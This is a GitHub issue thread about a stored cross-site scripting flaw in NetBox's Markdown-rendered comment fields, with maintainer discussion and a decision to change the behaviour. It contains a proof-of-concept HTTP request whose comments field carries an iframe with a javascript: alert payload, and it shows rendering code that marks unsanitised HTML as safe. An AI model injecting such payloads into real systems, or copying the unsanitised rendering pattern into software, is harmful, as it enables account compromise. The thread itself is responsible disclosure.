Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS possible through GFM-rendered fields #3471

Closed
CloneAssassin opened this issue Aug 31, 2019 · 4 comments
Closed

XSS possible through GFM-rendered fields #3471

CloneAssassin opened this issue Aug 31, 2019 · 4 comments
Labels
status: accepted This issue has been accepted for implementation type: feature Introduction of new functionality to the application

Comments

@CloneAssassin
Copy link

CloneAssassin commented Aug 31, 2019

Netbox is vulnerable to stored XSS due to lack of filtration of user-supplied [Autenticated User]

Environment

  • Python version: 3.7.4
  • NetBox version: 2.6.1 -2.6.2

Parameter:
name="comments" [ works on all pages where the parameter is present ]

PoC

POST /dcim/sites/add/ HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: xxx
Content-Type: multipart/form-data; boundary=---------------------------57052814523281
Content-Length: 2158
Connection: close
Cookie: csrftoken=xxx; sessionid=xxx
Upgrade-Insecure-Requests: 1

-----------------------------57052814523281
Content-Disposition: form-data; name="csrfmiddlewaretoken"

xxxx

<snipped>

-----------------------------57052814523281
Content-Disposition: form-data; name="comments"
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

-----------------------------57052814523281
Content-Disposition: form-data; name="_create"

-----------------------------57052814523281--

XssGit

a cve will be requested

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

@jeremystretch
Copy link
Member

This is known and expected behavior. There was some discussion a while back (though I can't find a GitHub issue for it) where we decided to allow raw HTML in comment fields. The logic was that since only authenticated users are permitted to post content, the risk would be acceptable for most use cases.

    html = markdown(value, extensions=['mdx_gfm'])
    return mark_safe(html)

I don't have a strong opinion on this either way: We can leave it as-is, or we can disable HTML entirely and leave only GitHub-flavored Markdown (GFM) rendering. What I don't want to do is start maintaining a whitelist/blacklist of HTML tags that should or should not be permitted. That's a lot of overhead and frankly overkill given the type of content intended to be stored in these fields.

@jeremystretch jeremystretch changed the title [BUG] Cross Site Scripting Stored Found - Xss Stored XSS possible through GFM-rendered fields Sep 3, 2019
@jeremystretch jeremystretch added the status: under review Further discussion is needed to determine this issue's scope and/or implementation label Sep 3, 2019
@CloneAssassin
Copy link
Author

it is not clear to me why html component must be inserted in a comment function. An xss stored can lead to a privilege escalation, therefore the possibility to access administrative functions.

@jeremystretch
Copy link
Member

And yet, other users might need it. I'm not going to remove a piece of functionality from the application without some discussion. Hence the "gathering feedback" tag.

@juan-vg
Copy link

juan-vg commented Sep 19, 2019

What about creating a new permission that allows users to use html or not (only markdown or whatever)?

@jeremystretch jeremystretch added status: accepted This issue has been accepted for implementation type: feature Introduction of new functionality to the application and removed status: under review Further discussion is needed to determine this issue's scope and/or implementation labels Oct 9, 2019
@lock lock bot locked as resolved and limited conversation to collaborators Jan 15, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
status: accepted This issue has been accepted for implementation type: feature Introduction of new functionality to the application
Projects
None yet
Development

No branches or pull requests

3 participants